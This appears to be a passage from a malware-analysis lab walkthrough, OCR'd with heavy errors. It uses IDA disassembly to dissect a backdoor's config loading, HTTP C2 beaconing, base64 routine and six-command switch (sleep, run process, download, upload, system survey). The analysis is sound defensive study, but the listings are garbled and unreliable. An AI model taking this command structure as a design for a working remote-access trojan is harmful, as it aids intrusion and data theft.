WriteFile file implicit kernel32.d1l
ReadFile file implicit kernel32.dIl
GetFileType file implicit kernel32.dIl
SetFilePointer file implicit kernel32.dIl
FlushFileBuffers file implicit kernel32.dl1
Sleep Execution implicit kernel32.dIl
GetCommandLined execution implicit kernel32.d1l
ExitProcess execution implicit kernel32.dIl
GetCurrentProcess execution implicit kernel32.dIl
FreeEnvironmentStringsA  execution implicit kernel32.dIl
FreeEnvironmentStringsW  execution implicit kernel32.d1l
GetStartuplnfol execution implicit kernel32.dIl
SetlnhandledExceptionF... exception-handling implicit kernel32.dIl
UnhandledExceptionFilter  exception-handling implicit kernel32.dl1
LoadlibraryA dynamic-library implicit kernel32.d1l
GetProcAddress dynamic-library implicit kernel32.d1l
GetlastError diagnostic implicit kernel32.dIl
SetStdHandle console implicit kernel32.dIl
GetStdHandle console implicit kernel32.dl1

Of interest is that we can see this has the ability to make network connections, execute
processes, and sleep, all of which would be pretty common functions for a remote access
tool/trojan which leveraged the sleep API call to allow checking into the C2 periodically.
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iii- The function 0x4036F0 is called multiple times and each time it takes the string
Config error, followed a few instructions later by a call to CxxThrowException. Does
the function take any parameters other than the string? Does the function return
anything? What can you tell about this function from the context in which it’s used?

If we first examing cross-references to 0x4036F0, we can see that it is called 5 times
throughout this program.

Lal xrefs to sub_4036F0 — =] I&
Drire. .. T. Address T ext
1 =ub_ 403EF0
Ll Up =] =ub_4031280+B9 call  =ub 403EF0
Lal Up =] =ub_403130+EE call  =ub 403EF0
Lal Up [=] sub_ 4031280+170 call  =ub 4036F0
Ll Up [m] sub_403130+180D call  sub 4036F0
] TRr ] »
[ Ok J [ Cancel | | Help | [ Search ]
Linel of 5

Looking at where these are called we can see they all take place inside of ‘sub_403180’. An
example of this is shown below.

sub_ 483180 proc near

var_B&4i= byte ptr —8B4h
HumberOfBytesRead= dword ptr —8BSBh
var_ AC= dword ptr —8aAacCh

Buffer= dword ptr —98h

var_8C= byte ptr —8Ch

var_4C= dword ptr —4Ch

var_48= byte ptr —48h

var_ #= dword ptr —8

var__4= dword ptr —L

sub esp,. 8BBah
push esi
push edi
push a 5 hTemplateFile
Graph overview =l push a ;5 dwFlagsAandAttributes
= === 1 push = ; dwCreationDisposition
push a ; lpSecurityAttributes
mou esi, ecx
push 3 s dwShareiMode
push 29000000h ;: dwbDesiredAccess
push offset FileHame ; ""config.dat"
mou dword ptr [esi], offset off_L16150C
mow byte ptr [esi+18Ch]. 4Eh
call ds-CreateFilen
mou edi, eax
cCmp edi. OFFFFFFFFh
inz= short loc_46831D5%

I? 1

Ei [

push ofFfset aconfigError :© “"Config error"'

[=F] [=X 3 JecprOECh+Uar_Ac]

call Suh_h336FB|

Tea eax, [esp+rOB8hs+var_AC]

push offset unk_ 511568

push ea

Icall _ _CxxThrowException@8 ;  CxxThrowException{=x.,x)

* ¥

EEN M sl

loc_4831D5 -

push ebx

lea ecx, [esp+8BCh+HumberOfBytesRead]
push a : lpOuerlapped

push ecx ; 1pHumberOFfFBytesRead
lea edx, [esp+B8Chh+Buffer]

push 98n ; nNnHumberO0OfBytesToRead
push edx s 1lpBuffer

push edi s hFile

call ds -ReadFile

push edi : hObject

mow ebx, eax

call ds:-CloseHandle

test ebx, ebx

pop ebx

j= loc_ L9933 04
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To get a bit more of an idea what is being passed to the function, we can examine cross-
references to sub 403180 to see if anything is passed to this subroutine. Immediately we see
an ‘sub_401EEQ’ object being created and the object’s ‘this’ pointer being stored into ecx.

[EER M Ll

sub_4O1EEG proc near

var_18= dword ptr —106h
var_C= dword ptr —-8Ch
var_&= dword ptr —&
arg__6= dword ptr L3

push BFFFFFFFFh

push offset loc_LOES2B
mow eax, large f£s:8
push eax
Graph overview (=] mou large fs:8, esp
push ecx
push esi
mou esi, ecx
push 194h
[[ca1ix F72EYAPAX IEZ : operator new{uinkt}
add esp. o
j;;j mow [esp+1ah+uar_18], eax
test eax, eax
mow [esp+14%h+uar_5], 8
j= short loc_ h81FZ2h
I
¥
= 1 . Y
» [Eesp+14h+arg_8]
loc_h81F24:
mou ecx, eax =xor eax, eax
call Sub 48318808
Jmp short loc_4B1F26
L
¥ ¥
N Ml
loc_LB1F26¢=
mou ecx, [esp+iah+uvar C]
mouw [esi]. eax
mou dword ptr [esi+108h], offset aIndex_html : ““Findex_html®"
mow dword pty [esi+14h], offset aInfo_html : “sinfo_html"
mouw dword ptr [esi+18h]. offset aResponse_html : “"Sresponse.hibml™
mou dword ptr [esi+1Gh], offset aGet_html : ““sgeb _hitml®"
mou dword ptyr [esi+?eh]. offset aPut_html : “"Sput_html""
mouw dword ptyr [esi+24h]. offset aSrv_html : “"ssru_html"”
mou dword ptr [esi+Z28h], SH4FLH3ILON
mouv dword ptr [esi+2Ch], LS15347440
mou eax, esi
pop esi
mow large fs5:8, ecx
add esp, 16h
retn I
sub_4B81EES® endp
sub esp, BBBh
push esi
push edi
push a ; hTemplateFile
push a ; duFlagsAndAttributes
push 3 ; duCreationDisposition
push a ; lpSecurityAttributes
moy e51l, ECX
push 3 s duShareHode

puch 200000000 = dulhecirediccocs
push offset FileHame ; "config.dat”

moy dword ptr [esi], offset off_41815C
mou byte ptr [esi+18Ch], 4Eh
call ds:CreateF1IeR
mou edi, eax
cmp edi, BFFFFFFFFh
jnz short loc_4831D5
I
push offset aConfigError ; "Config error”
lea ec®, [esp+BBCh+var AC]
lea eax: [esp+BBBh+uvar AC]
push eax i
call __CxxThrowException@8 ; CxxThrowException{x,x)
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If we examine what’s contained within ‘sub_4036F0’, we find evidence that this is likely
setting up an exception to be raised.

%L_____________

[ENLL
mou esi, dword ptr [esp+3@h+arg_@]
mou edi, [esp+3Bh+var_18]
mou ecx, ebx
mou edx, ecx
shr ecx, 2
rep mousd
mou ecx, edx
and ecx, 3
rep moush
mou eax, [esp+3Bh+var_ 18]
mou [esp+38h+var_14], ebx
xor esi, esi
mow byte ptr [ebx+eax], 8
G —
[E Nl
loc_4B8376E:
lea ecx, [esp+3Bh+arg_a]
mou [esp+3Bh+var_4], esi
push ecx
moy ecx, ebp
d d—pte | TN g—B}—offcet h—L1L2E
call ??@exception@@QAEEABOBDEZ ; exception::exception({char const * const &)
oo di—byteptr—Tespritirroar—1£}
lea ecx, [ebp+BCh]
moy byte ptr [esp+3Bh+var_u], 1
mov [ecx], d1
moy [ecx+4], esi
mov [ecx+&], esi
mou [ecx+B8Ch], esi
mouy eax, ds:dword_41611C
lea edx, [esp+3Bh+var_1C]
push eax
push esi
push edx
call sub_LB17806
moy eax, [esp+3Bh+var_18]
mov dword ptr [ebp+8], offset off 418308
cnp eax, esi
jz short loc_u837DA

Based on all of this context, and by examining the patterns which occur right before
0x4036F0 is called, we can infer that these are all exception objects which raise an exception
if the specified config.dat file doesn’t exist or is invalid.

iv- What do the six entries in the switch table at 0x4025C8 do?

If we jump to 0x4025C8 we find the six entries in the switch table which are referenced at
0x40252A.

e HY nop

H [ DRSS R UL S S S - =5
;L8 off_4B25CE dd offset loc_482561 4 DATA XREF: -text:hﬂhﬂ252n1r

C8 dd offset [loc_482531 1 jump table for switch statement

:C8 dd offset Jloc_482559

:C8 dd offset loc_48253B

:C8 dd offset floc_L482545

:C8 dd offset floc_48254F

:EB

If we follow this reference, we can see that this is triggered by a reference at 0x402500.
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t@251D

t82510 loc_48251D: ; CODE XREF: |.text:aoup2s5o0Tj
182510 ®or eax, eax

1@251F mov al, [esi+4]

182522 add eax, BFFFFFF9Fh ; switch 6 cases

182525 cmp eax, 5

182528 ja short loc_ 482570 ; default

182520 jmp ds:off_4825C8[eax=h] ; switch jump

182531

If we continue tracking back what kicks this off, we can find at ‘loc_402410’ there’s a cross-
reference to an offset within ‘sub_403BEOQ’. This is ultimately what kicks off any one of
these switches to occur.

var_14%= dword ptr —14h
var_18= dword ptr —18h
var_ 4= dword ptr -4
push ebp
mo ebp, esp
push BFFFFFFFFh
push ofFfset loc_48EALB
mow eax, large fs:c-@
push eax
mo large fs:-@, esp
sub esp, B8Ch
push ebx
push esi
push edi
o ebx, ebx
mos [ebp+var_18], esp
push 3 8h
mo [ebp+var_47. ebx
call TEZ2EYAPAXIESZ ; operator new{uint)
mouw ecx, eax
add esp, &
mos [ebp+var_14]., ecx
cCmp ecx, ebx
mos byte ptr [ebp+var_4]., 1
j=z short loc_A483C2B
L
¥ ¥
[:5. ) . Y =2} & Y
push offset FileMame ; “‘config.dat"
call sub_481EES8 loc_483C2B:
mou esi, eax =or esi, esi
jmp short loc_483C2D
|
v ¥
BNl
loc_483C2D:
mou eCcx, esi
mos byte ptyr [ebp+var_4],. bl
call sub_481FEA
mou edi, ds:-Sleep
vy
EEN 1l
loc_483C3D:
mow eax, [esi]
mow eax, [eax+128h]
lea eax, [eax+eax=h]
lea eax, [eax+eax=h]
lea ecx, [eax+eax=h]
shl ecx, 2
push ecx ; duwMilliseconds
call edi ; Sleep
mow ecx, esi
call loc_ 482418
inc ebx
jmp short loc_4B3C3D
sub_483BES@ endp
|
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If we were to look at what calls this, we’d find it is the only call within our main method
which is kicked off shortly after the program ‘start’ method runs. Of interest in the above is
that we can see a looping function and a call to ‘sleep’. Right before this happens there’s a
call to ‘sub_401F80” which we’ll examine further.

BN L
mov eax, [esi]
mou edx, [eax+14hh]
add eax, 184h
push edx ; hostshort
push eax ; char =
call sub_483D50 |
LuliLy ED0%, BdR
03
BN
loc_4@1FDE:
mou ecx, esi
+yar_4], 8
all sub_L4B2FFA
U 2L L
or ecx, BFFFFFFFFh
mou edi, esi
Xor eax, eax
repne scash
mov edi, [ebp+var_14]
not BeCx
mnoy eax, [edi+18h]
dec ecx
push ecx
push esi
push eax
Y ecx, ehx
call sub_4B4EDB |
PUsH 51 ; void =
call FTIEYARPAREZ ; operator delete{void =)
add esp, 4
lea ecx, [ebp+uvar 18]
mov [ebp+var_18], 8@
push ecx
HRE——— e B —
[call sub_484B18
LULIAY Ebj., Eda
movy eax, [ebp+uvar_18]
push eax
push esi
e ————P R ——
[call sub_4B15CA
duyd ESp, O
cmp ebx, 11Ch
noy [ebptuar_1C], esi
jnb short loc_ 4820859

In the above we find 5 calls to subroutines to examine further.

e sub_403D50
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Based on the above User-Agent string and API calls, we can assume this plays the role of
establishing a connection to the C2.

e sub_402FF0
nov lebp+var_14H], esp
mou esi, ecx
jnz short loc_h84F3E
I} I
= 1.
push offset aErrorSending 8 ; ""Error sending Hbttp post™
lea ecx, [ebp+uvar_92C]
call sub_485A28
lea eax, [ebp+uvar_9C]
push ofFfset unk_411BLA
push eax
call _ CxxThrowException®8 ; CxxThrowException{x,x)
EE MWl
loc_4BLF3E:
mow ecx, [ebp+arg_8]
mou [ebptuar_i4], 8
push ecx
push eax
call sub_LOB1888
add esp, B
test al, al
jnz short loc_484F71
I‘ [
[E N
push offset aErrorSending 8 ; "Error sending Http post®
Iea BCR, LEODpYUar_ox]
call sub_485A28
1lea edx, [ebp+uvar_64]
push ofFfset unk_411BLA
push edx
call _ CxxThrowException@8 ; CxxThrowException{x.,x)
V¥
Bl Nl
loc_4B84F71:
mowv ebx, [ebp+arg_C]
or ecx, BFFFFFFFFh
mou edi, ebx
Xor eax, eax
repne scash
nov edi, [ebp+arg_ 8]
nov eax, [esi+i]
not ecx
mou edx, [ebp+arg_8]
dec ecH
add ecx, edi
push ecH
lea ecx, [esi+i1Ch]
push eax
push ecx
puasin eux
push offset aPostSHEtp1 1Ho ; ""POST %s HTTPA1_15PwnHOST: %syvrwnlUser—-Agentz'". ..
lea eax, [ebprvar_LYL]
push 488h ; size_t
push eax ; char ==
call snorintf

This subroutine has a number of subroutines which are called; however, at a glance we can
see that this is likely playing the role of posting the gathered data back to the C2, or making a
GET request to it.

sub_404B10
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BN L
0848485,
BO4B4B54 loc_404B54:
88484854 mov [eax], esi )
0O4B4B56 lea eax, [ebp+uar_hah] Graph overview =]
BB4B4B5C push 480h []
88484861 push eax
80484B62 mov ecx, ebx
00404864 mou [ebp+var_4], esi
08484867 call sub_4B48E8
88484B6C push 5 ; size €
LOAROMREE 1o  acw  Lohosoess Wbl
EBBIIBIIB?!l push offset aHttp 5 "HTTP!"-l
(OO E Y pash BCH y CHdF ¥
Bo4B4B7A call _strncmp
08484B7F add esp, BCh
A84B4BB2 test eax, eax
8B4B4BBY jz short loc_484BA7
& I
IFER 1)
rﬂﬂhﬂh386 push offset aErrorReading 8 ; “Error reading response™
0B4B4BBB lea BeCX, [ebp+uar_A0]
88484891 call sub_485B38
aaLauB?s lea edx, [ebp+var_na]
804B4B9C push offset unk_411A08
88484BA1 push edx
aasauBA2 call _ CxxThrouwException@8 ; CxxThrowException(x,x)
+J v ¥
E N
aauB4BAT
004B4BAY loc_484BAT:
084B4BAY lea eax, [ebprvar_4Ak]
884 84BAD push L@8h
00484BB2 push eax
08484BB3 movw ecx, ebx
88484BB5 call sub_4B48EB
B84 B4BBA cmp eax, 2
88484BBD ja short loc_L4B4BDA
H |
BN
BB4B4BBF push offset aErrorReading_ 8 ; “Error reading response’
8B4 BLBCY lea ecx, [ebptuar 68]
884BL4BC7 call sub_4B85B38
8B4 BLBCC lea ecx, [ebp+uar 68]
B84B4BCF push offset unk_411A88
aa4B4EDY push ecx
884B84BDS call _ CxxThrowException@8 ; _CxxThrowException{x,x)

¢

BN
LG
[:BﬂhﬂhBDﬂ loc_L4a4BDA: ; "Content-Length: *
'ﬂ'ﬂ!‘l‘ﬂqnun mow Ifl.lj.., Urrofl dLUIMTLELL g
88484BDF or ecx, BFFFFFFFFh
A884B4BE2 xor eax, eax
884B4BEL 1ea edx, [ebp+var_uak]
B8484BEA repne scash
BA4ALBEC not ecx
884B4BEE dec ecx

Based on the above strings and errors being called, we can assume this is receving the
response to our request and checking to see if it matches an expected valid HTTP response.

e sub_4015C0
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Ial
884815CB push offset abEncodingArgsEr : “Encoding Args Ercor
i ea ecH, [espr Svar_1CT
#64015D4 call sub_LB1638 =
88401509 lea eax, [esp+i1Ch+var_1C] Graph overview E2
004915DD push offset unk_%19FA0
884815E2 push eax
884815E2 call ___CxxThrowException@8 ; _CxxThrowException(x,x)
‘s
(= 1L I
B64015E8
B04015E8 loc_ A4LO15E8:
BB4B15E8 mou eax, [esp+iCh+arg_ 4]
864015EC test eax, eax =
BB4015EE jbe short loc_491622
=
¥
= 1 I
AALAIGER push oo
[[e0n015F1 mow esi. off_uiaocs||
@oLe75F7 push edi
094 915F8 mou edi, eax
BN Ll
B84 015FA
B04015FA loc_4815FA:
BO4B15FA mov cl, [edx]
BO84015FC xor eax, eax
v
ENH 1
B0LO15FE
B804015FE loc_A4B15FE:
0B4015FE cmp cl, [esi+eax]
00401601 jz short loc_X49160B
EA N Ll
00461603 inc eax
80401684 cmp eax, 34h
88401687 j1 short loc_4815FE
1
v
EH Nl | [ER
08481688 a84B16 69 jmp short loc_sB161C
88L4A16688B loc_4O0160B:
86461688 mou ecx, [oFf_B130CH|
aeu 81611 mov al, [ecx+eax]
29491614 mov
08481616 mov
3
off 4138C4 dd offset aPlmoknijbuhuwyg ; “PLHOKHIJBUHUYGTFCRDXESZWADzagxswedeufrb™ .
loc_48161C:
B8048161C inc edx
88401610 dec edi
B8048161E jnz short loc_A4615FA

Based on the above strings and what looks to be Base64 index_strings, we can assume this is
Base64-encoding or decoding the response received from the C2 server.

At this point we have a good idea of what actions the Beacon will take prior to ‘loc_402410°
inevitably calling the switch table at 0x4025C8. We also know that the six entries in this
switch table are likely six different actions to take based on the response received from the

C2.

To find out what each of the switch entries does we can investigate them further.

-text:
-text:
-text:
-text:
~text:
-text:
-text:
-text:
-text:
-text:
-text:
-text:
~text:
-text:

e =

loc_402561

884082561 loc_482561:

084682561
00462561
084082562
884082567
00482560
08482560
88408256F
004082576
88482577
00462578
004082579
084082578
88482570

ARLAICFR -

CODE XREF: .text:oou4e252aTj
-text:00402539Tj

BLuch P P W e B sl
B

call TTIEYARXPAXEZ operator deletef{void =)
o e Tebp—8eihry

add esp, 4

mouv F T e |

mouv large fs:8, ecx

pop edi

pop esi

pop ebx

mou esp, ebp

pop ebhp

This is case 0x61, and from the above we can see that this looks to delete the object which
called it, but nothing else.

loc_402531

175



Malware Analysis

| loc_482531: ; DATA XREF: .text:off 4B25C8Blo
I push esi ; case Bx62

! moy ecx, ebx

I call sub_4BZ25E8Q

' jmp short loc 482561 ; case 6x61

This is case 0x62, and from the above we can see that this calls ‘sub_4025E0’ before
executing case 0x61. Examining sub_4025E0 we can see that this looks to call atoi used in
parsing a string into a number before this is passed to a ‘sleep’ API call.

Sub_M@2SEB proc near
var_2ZC= dword ptr —2Ch
var_18= dword ptr —18h
var_C= dword ptr —8Ch
var_ - dword ptr —&4
arg_ 6= dword ptr 8
push ebp
mou ebp. esp
push BFFFFFFFFhHh
push offset loc_ 4BESCO
mou eax., lavrge fs5:-8
push eax
mou large fs:©, esp
sub esp, 2Zuan
mou eax. [ebpwarg_0]
push ebx
push esi
push edi
lea edx, [eax+S
or ecx. OFFFFFFFFh
mou edi, edx
xor eax, eax
repne scash
not ecx
dec ecx
mou [ebp+uar_18], esp
mou [ebpsvar 4], O
jnz Short loc_hB263D
| o |
w L
== 1 ; WY [==_1 C Y
push offset aAargParsingErro : Arg parsing ercor
lea ecx. [ebpruar_2C] 1loc_#8263D: : char 3=
call sub_uB3A20 ™ o
lea ecx, [ebpruar_2C] call _atoi |
push ofFfset unk_4112A8 Sdd esp. o
push ecx B ; duMilliseconds
call _ CxxThrowException@8 ; CxxThrowException{x,x) call ds:=sleep |
[:=_ N { Y [==_N ¢ Y
loc_nez2637: loc_noze6uD:
mou eax, offset loc_LO264D mou ecx, [ebpruar_G]
retn pop edi
pop esi
mou alr, 1
mou large fs:-8, ecx
pop ebx
mou esp. ebp
pop ebp
retn m

Sub_BO2SES endp

This tells us that case 0x62 is likely designed to notify the beacon to sleep for a certain
amount of time before checking back in for new commands.

e loc_402559

=LEHL OO0 sS Sy

-text:-80402559 loc_ L4BA2550: ; CODE XREF: _text:oo468252aTj
-text:004A82559 ; DATA XREF: .text:off_LB2S5CEJo0
-text-@88482559 push esi ; case Bx63

-text:8048255A u PLX . Phx

-text:B8848255C rggll sub hﬂ2FSB|

-text:80402561

-text:084082561 loc_ BB82561: ; CODE XREF: _text:o848252AaTj
-text:88482561 ; -text:@84082539Tj ...
.text:B0LB2561 push esi

-text:004082562 call TTIRYARNPAXEZ —uoperartor aelete{uvoid =)
-text:004082567 mou ecx, [ebp-8Ch]

-text-B0L4B256A add esp, 4

-text:884082546D mov al, 1

-text-00402546F mou large f£s:8, ecx

-text:-084082576 pop edi

-text:-88482577 pop esi

-text:804082578 pop ebx

-text:80402570 mnow esp, ebp

-text:080408257B pop ebp

-text:8048257C retn
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This is case 0x63, and from the above we can see that this calls ‘sub_402F80° before flowing
into and executing case 0x61. Examining ‘sub 402F80° we don’t find much besides another

call to ‘sub_402EF0’. By looking at sub_402EF0, we can see that this looks to call
CreateProcessA in order to run a command sent to it.

o eax, eax
push edi
mo [esp+FLhh+hObject], eax
mo ecx, 11h
mou [esp+H]. eax
lea edi, esp+Fhh+StartupInfo]
mo [esp+ 1- ea=x
lea ed=x, [esp+Fhh+StartupInfo]
rep stosd
lea ecx, esp+7ihh+hObject]
mo [esp+ 1- eax
push ecx ; lpProcessInformation
push ed:= : lpStartuplInfo
push eax ; lpCurrentbDirectory
push eax ; lpEnvironment
push eax ; dwCreationFlags
push eax ; bInheritHandles
push eax : lpThreadattributes
push eax ; lpProcessAattributes
mow eax, [esp+92hh+1pCommandlLine]
mo [esp+2L4h+StartupInfo.cb], 44h
push eax : lpCommandLine
push A - l1papplicationHame
I call ds:BreateProcessﬂI
eSS Pd=R, Bd=
pop edi
jn= short loc_482FS5B
Hi
[:= N NP
push offset aCreateProcessFEF :© “"Crealbte Process Failed"l
1ea ecx, [esprshh+var_og]
call sub_4 83918
lea ecx, [esp+7Bh+var_68]
push offset unk_ 411158
push ecx
call _ CxxThrowExceptionE28 ; CxxThrowException{=x,x)

v v

ER M.l

loc_ L482F5B:

o edx, [esp+7FB8h+h0Object]
push esi

o w esi, ds:CloseHandle

push edx s hObject
call esi ; CloseHandle

mow eax, [esp+H]

push eax 5 hObject
call esi ; CloseHandle

o al, 1

pop esi

add esp, ¥F@h

retn ]

sub_48ZEF8 endp

This tells us that case 0x63 is likely designed to start a process sent down from the C2 thus
executing a command tasked to the beacon.

loc_40253B

.text:0048253B
.text:0048253B
.text:0048253B
.text:D048253B
.text:0048253C

loc_48253EB:

; CODE XREF: .text:oou0252atj

.text:0048253E
.text:004082543
.text:004082545

; DATA XREF: .text:off 4625080
push esi ; case Bx64
prx  phx
sub_402BA0
short loc_u82561 ; case B=61
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This is case 0x64, and from the above we can see that this calls ‘sub_402BA0’ before
executing case 0x61. Examining ‘sub 402BA0’ we can see that it calls ‘sub_402A20’ with
some parameters including ‘IpFileName’. If we look into what ‘sub_402A20’ is doing we see
some familiar calls associated with connecting to the C2 and checking the response is valid.

1= SEErr L marn. cwEres rmumes |

¥ ¥
BNl El N1l
mou eax, dword ptr [ebp+hostshort]
mow edx, [ebp+arg_8] loc_482A8H:
push eax ; hostshort oK ebx, ebx
; char 3=
call sub_483D58
mow ebx, eax
jmp short loc_hLOZAagD
I
v ¥
BNl
loc_482A8D:
mow eax, [esi+1Ch]
Mo ecx, ebx
push eax
mow byte ptyr [ebp+var_ 4], 8
call sub_4B84CF 8
lea ecx, [ebp+wvar_18]
mou [ebpruvar_18], edi
push ecx
HiTalLl] P ph
Ecall sub_404E10
& r_18]
push edx
:‘Illl:h F=9=%"
call sub_4B15CAH
mouv eax, [ebp+IpFileHame]
add esp, B
push edi ; hTemplateFile
push 3 ; dwFlagsAndAttributes
push 1 ; dwCreationDisposition
push edi ; lpSecurityfAttributes
push 3 ; dwShareMode
push LAgaeasah ; dwDesiredAccess
push Pax ; 1lpFileHame
lcall ds:createFilenl
T BD0R, Cdm
cCmp ebx, BFFFFFFFFh
mow [ebp+uvar_28], ebx
jnz short loc_482AF3
I? [
[:= 0 NI
rpush offset aErrorDownloadi ; ""Error downloading file®™
1lea ecx, [ebprvar_Li]
call sub_483918
lea ecx, [ebp+wvar_44]
push offset unk_411158
push ecx
call _ CxxThrowException28 ; CxxThrowException{x,x)
J

In addition the above shows us evidence of a file being written to disk from the response
received, and an error message associated with downloading a file.

This tells us that case 0x64 is likely designed to download a file from the C2.

e loc_402545
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-text:paup2545
-text:BALB2545
-text:BA4B2545
-text:BA4B254b
-text:BA4B2548
-text:BA4B254D
tevt-AALAPCLF -

loc 4A2545:

Malware Analysis

.text:ae40252atj
.text:off uB25CEL0

; CODE XREF:
; DATA XREF:
push esi ; case Bx65
u pLx ., phx
call sub_L4B2C70
jmp short loc_ 482561 ; case B:=61

This is case 0x65, and from the above we can see that this calls ‘sub_402C70’ before
executing case 0x61. Examining ‘sub 402C70’ we can see that it calls ‘sub 4027E0’. If we
look into what ‘sub_4027E0’ is doing we can see a call to CreateFileA which in this instance
looks to be getting a handle on a file before its bytes are read in a looping function and it is

uploaded to the C2.

Graph overview

¢

pusn - s uwonan Crwuc
push 8000080860 ; dwbesiredAccess
push eax ; 1pFileHame
[[call ds:CreateFileA |
mowv edi, eax
cmp edi, BFFFFFFFFh
nou [ebp+hDbject], edi
jnz short loc_482858
I}[
= W] 1
[=5-H b B
push offset aErroruUploading ; “Ervror uploading file®™
Tes e febprovar—9ird
call sub_483918
lea ecx, [ebp+var_94]
push offset unk_u11150
push ecx
call _ CxxThrowException@8 ; _CxxThrowException(x.x)
¥y
BN
loc_hO2858: ; 1pFileSizeHigh
push a
push edi ; hFile
call ds:GetFileSize
mou eb=x, eax
cmp ebx, BFFFFFFFFh
jnz short loc_48288A
BN Ll
push edi ; hObject
call ds:CloseHandle
push offset aerrorUploading ; "Error uploading file™
lea ecx, [ebp+uar_40]
call sub_483918
lea edx, [ebpr+var_48]
push offset unk 411158
push edx
call _ Cx=ThrowException®@8 ; CxxThrowException(x,x)
BNl
loc_L4OB28BA:
mouv ecx, 188h
X0 eax, eax
lea edi, [ebp+var H94]
add esi, 4
rep stosd
mou eax, [ebp+lpFileHame]
lea ecx, [ebp+var_ 494]
push eax
I [push offset alk iR 1 [
push esi
nuch nffcatr avTCT = tHe e oy t'intt

This tells us that case 0x65 is likely designed to upload a file to the C2.

loc_40254F

179



Malware Analysis

.text:0048254F
.text:BB!leSllFI loc_L4B254F : ; CODE XREF: .text:oesezs2atj
.text:B048254F ; DATA XREF: .text:off_ L4825C8J0
" .text:8B4B254F push esi ; case Bx66
' .text:88482550 ] ecy _phy
' .text:88482552 call sub_482D38
! .text:88482557 jmp short loc_ 482561 ; case Bx61

tawh - ARLAZEED - e

This is case 0x66, and from the above we can see that this calls ‘sub_402D30’ before
executing case 0x61. Examining ‘sub 402D30’ we find that this looks to be gathering
information about the machine it is being run on which will be sent back to the C2.

[EH N Ll

loc_482DC1:

lea ecx, [esp+2@4h+var_1FC]
lea edx, [esp+2@4h+var_1F8]
push ecx ; nSize
nush Bz z InBuffpr|
call ds :GetComputerHamen

test eax, eax

jnz short loc_h@82DF2

%

EAN Ll

push offset aErrorConductin ; “Error conducting machine survey

lea ecx, [esp+288h+var_1DC]

Graph overview 2] call sub_483918

lea eax, [esp+284h+var_1DC]

push offset unk_411158

push eax

call _ CxxThrowException@8 ; _CxxThrowException(x,x)
[EE Nl
loc_482DF2:
nov ecx, 2%5h
Xor eax, eax
lea edi, [esp+284h+VUersioninformation]
push ebx
rep stosd
lea ecx, [esp+2@88h+Versioninformation]
push esi
push ecx 5 1lpVersionInformation

[ 210041 ionIng : asiL fonlncosize]. 9
call ds :GetUersionExA ; Get extended information about the
; version of the operating system
call ds :GetSystenDefaultLcID
T 5ivE_T

maou esi, eax
call _malloc
nou edx, [esp+21Bh+Uersioninformation.duwMinorVersion]
nov ebx, eax
nov eax, [esp+218h+VUersioninformation.dwMajorVersion]
push esi
push edx
lea ecx, [esp+218h+var_1FH]
push eax
lea edx, [esp+2iCh+Buffer]
push BCX
P i
push offset alserSHostSHajo ; “user=%s, host=%s, Major Version=%d, Hin"...
o o ot
call _sprintf
mauv edi, ebx
or ecx, BFFFFFFFFh
xor eax, eax

This tells us that case 0x66 is likely designed to profile a system and send the information
back to the C2.

v-What is the purpose of this program?

If we view ‘sub_401EEOQ’ which is run after taking the config.dat file as a parameter.
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EAN L

push offset FileMame ; "'config.dat™
call sub_ 4OB1EEAQ

mou esi, eax

jmp short loc_A4B83C2D

We can see this is once again creating an exception object, in addition to specifying the
resources which are present for commands to be retrieved from the C2.

Lcall sub_4O3188@
Jjmp Shor oC_NuB1F26

sub_4B81EEB proc near

var_18= dword ptr -16h

var_C= dword ptr -8Ch

var 4= dword ptr -4

arg_B= dword ptr 4 |

push BFFFFFFFFh

push offset loc_A4BESZB

nov eax, large fs:@

push eax

mnov large fs:8, esp

push ecx

push esi

mouv esi, ecx

puch ETo 0N

call ?72EYAPARIEZ ; operator new{uint})

add esp, I

mouy [esp+14h+var_18], eax

test eax, eax

mnov [esp+14h+var_4], 8

jz short loc_4B1F24

|1
BNl

mou ecx, [esp+ikh+arg_8]
push ecx loc_4B81F24:
moy ecx, eax xor eax, eax

Yy
BN
loc_4@1F26:
mou ecx, [esp+14h+var_C]
mou [esi], eax
nov duword ptr [esi+18h], offset alndex_html ; “/index.html™
mou dword ptr [esi+14h], offset alnfo_html |; “/info._html"
nowv dword ptr [esi+18h], offset aResponse Html ; “/response.html
mouv dword ptr [esi+1Ch], offset aGet_html j “"fget._html"
nouv dword ptr [esi+2Bh], offset aPut_html j “/put_html™
mowv dword ptr [esi+24h], offset aSrv_html j “/srv.html"
mouv duword ptr [esi+28h], "TOCI
mov dword ptr [esi+2Ch], "ASGD
mou eax, esi
pop esi
nowv large fs:8, ecx
add esp, 18h
retn 4
sub_4B81EE8® endp

We also know that this sends a beacon to the C2 and has a number of operations which could

occur based on the C2 server response including:

Notifying the beacon to sleep for a specified number of seconds.
Notifying the beacon to start an arbitrary process.
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¢ Notifying the beacon to download a file from the C2.
e Notifying the beacon to upload a file to the C2.
e Notifying the beacon to profile a system and send the information back to the C2.

g- Analyze the code in Lab21-01.exe

i-What happens when you run this program without any parameters?

If we attempt to run this in a x86 (32-bit) OS, we’re presented with an error message that it is

not compatible with this version of windows as it has been compiled for a 64-bit OS.

ChProgramDatatchocolateytlib\prmalabs.flarehtoclsh Practical Malware Analysis Labs\BinaryColl... @

wersion of the pregram, and then contact the software publisher.

| The version of this file is not compatible with the version of Windows you're running. Check
your computer's systemn information to see whether you need an =86 (22-bit) or x54 [64-bit)

N

Attempting to run this in a 64-bit OS with a tool such as procmon running reveals that it
simply exits and doesn’t do anything of interest.

Time Process Mame FID Operation Path

2:03:1 ‘H- Lab21-01.exe 2468 IF Process Start

2:03:1 ‘B- Lab21-01 exe 2468 &F Thread Create

2031 B- [abA1-01 exe A8 Ly Load Image C: i Users  UsertDesktop . BinaryCollection®Chapter_210L %L ab21-01 exe
2:03:1 - Lab21-01 .exe 24628 LF Load Image C 5 Windows' System 32%nidll dil

2:03:1 - Lab21-01 exe 2468 FhCreateFile CoWindows Prefetch " LAB21-01.EXE-FOE4DE18 pf

2:03:1 - Lab21-01.exe 2468 gaCreate File CUsershUserDesktop*BinaryCollection™Chapter_21L

2:03:1 = Lab21-01.exe 2468 &F Load Image CWindows System 32%cemel 32 dil

Z:03:1 = Lab21-01.exe 2468 &7 Load Image CWindows  System 32 KemelBase dll

2:03:1 = Lab21-01.exe 2468 ga(:reatel-‘lle CWindows System 32 conhost .exe

2:03:1 - Lab21-01 exe 2468 gaQueryNameIn‘fo...C:'-.V‘.l'indows'-—.System32'-c0nhost.e::e

2031 = Lab21-01 exe 2468 &F Process Create  C:\Windows \System32\Conhost exe

